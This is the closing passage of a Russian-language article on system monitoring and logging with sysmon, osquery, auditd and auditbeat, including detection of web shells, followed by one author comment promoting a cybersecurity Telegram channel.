Мы рассмотрели основы мониторинга и логирования с помощью sysmon, osquery, auditd и auditbeat, а также использовали пример из практики — как обнаружить создание и использование веб-шеллов.

Комментарии (1)


  1. def-hub-community Автор
    16.07.2025 11:31

    Залетайте к нам в тг @defhubcommunity там есть еще интересного про кибербезопасность.